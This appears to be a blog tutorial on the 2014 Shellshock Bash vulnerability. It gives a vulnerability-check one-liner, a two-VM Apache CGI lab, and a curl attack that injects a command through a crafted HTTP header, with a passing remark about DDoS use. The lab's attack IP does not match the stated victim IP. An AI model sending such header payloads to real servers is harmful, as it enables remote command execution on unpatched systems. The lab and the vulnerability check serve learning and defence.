Shellshock proof of concept

The vulnerability that was found on linux/mac systems affecting Bash: ShellShock. It looks like this is bigger than Heartbleed! It’s been out there since 1993 and it will be very hard to get rid of it all over. In this post I will present how to check if your server is vulnerable. Also i am creating  a small setup to check what the bug can do, so buckle up!

Shellshock is newly discovered vulnerability in software that’s in computer systems we use everyday. It’s kind of like Heartbleed, the Open/SSL bug that scared everyone senseless a few months ago and remains unpatched on thousands of systems. According to some experts, however, Shellshock could be way worse, and it’s been around for decades. Shellshock affect bash, if exploited successfully an attacker could take control over the an unpatched linux system.

How does it work?

The short story : Linux, like most of the operating systems use environment variable. Generally you can assign values to a environment variable, but also function definitions. The problem is that after defining the function, Bash continues to process shell commands resulting in a code injection attack.

How to check if a server is vulnerable?

env x='() { :;}; echo vulnerable' bash -c /bin/true

Run the above command in a console. If you get “vulnerable” as output, that means that the server is exploitable.If the server is patched the following error message will be shown: bash: warning: x: ignoring function definition attempt ** bash: error importing function definition for `x’**

Set up the lab

• provision 2 virtual machines

I have set up 2 Centos 5 VMs for this using VirtualBox and Vagrant. Below you can see my Vagrant config file:

vi Vagrantfile
VAGRANTFILE_API_VERSION = "2"
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
config.vm.define "vm1" do |vm1|
vm1.vm.box = "centos5"
vm1.vm.hostname = "vm1"
vm1.vm.network "public_network"
end
config.vm.define "vm2" do |vm2|
vm2.vm.box = "centos5"
vm2.vm.hostname = "vm2"
vm2.vm.network "public_network"
end
config.vm.provider "virtualbox" do |vb|
vb.customize ["modifyvm", :id, "--memory", "512"]
end
end

vagrant up

vagrant ssh vm1

After running “vagrant up” you should have 2 VMs running with the following ips: vm1 192.168.1.149, vm2 192.168.1.150 The first VM will be the vulnerable server, and will be attacked from Vm2

• Install apache and php-cgi on VM1

VM1# yum -y install httpd php-cgi

• Configure apache on VM1. Add the following virtual host definition in your config file and start up apache

VM1# vi /etc/httpd/conf/httpd.conf

.........
ServerName VM1
DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
<Directory "/var/www/html">
Options +Indexes FollowSymLinks +ExecCGI
AddHandler php5-fastcgi .php
Action php5-fastcgi /cgi-bin/php.fastcgi
AllowOverride All
Order allow,deny
Allow from All
;
;

VM1# /etc/init.d/httpd start

After starting up Apache, make sure your server is not patched, so it has a vulnerable version of Bash. You can find a list with the vulnerable versions here: CVE-2014-6271 . Also you can try running the command posted at the beginning of this post. Make sure you have the following folder created on VM1: /var/www/cgi-bin/ and set it’s permissions to 755. Also create a small bash script named test.cgi and set permissions to it.

VM1# vi /var/www/cgi-bin/test.cgi

...

#!/bin/bash
echo
echo "test"

...

VM1# chmod 755 /var/www/cgi-bin/ -R

• Start the attack from VM2

vagrant ssh vm2

VM2# curl --header "X: () { :; }; /bin/ping www.google.com" 192.168.1.159/cgi-bin/test.cgi

You can now check all icmp packets on your VM1. You will see lots of ping requests going out of VM1 to Google. Imagine this type of attack running on a larger scale, it would be a very efficient of DDOS attack.

VM1# tcpdump -i eth0 host 192.168.1.149 and icmp

So what did we do ?

We send a simple /GET request to a apache cgi server and we have set a header value to a function definition and a bash command.  Of course you can run the attack  from a regular browser using a proxy (burp, fiddler,..) not necessarily from the command line. You just need to set a header to that value and the result will be the same. As it turns out DHCP servers are also vulnerable to this bug. I’m not going to present that , but you can see how simple that can be done here: https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/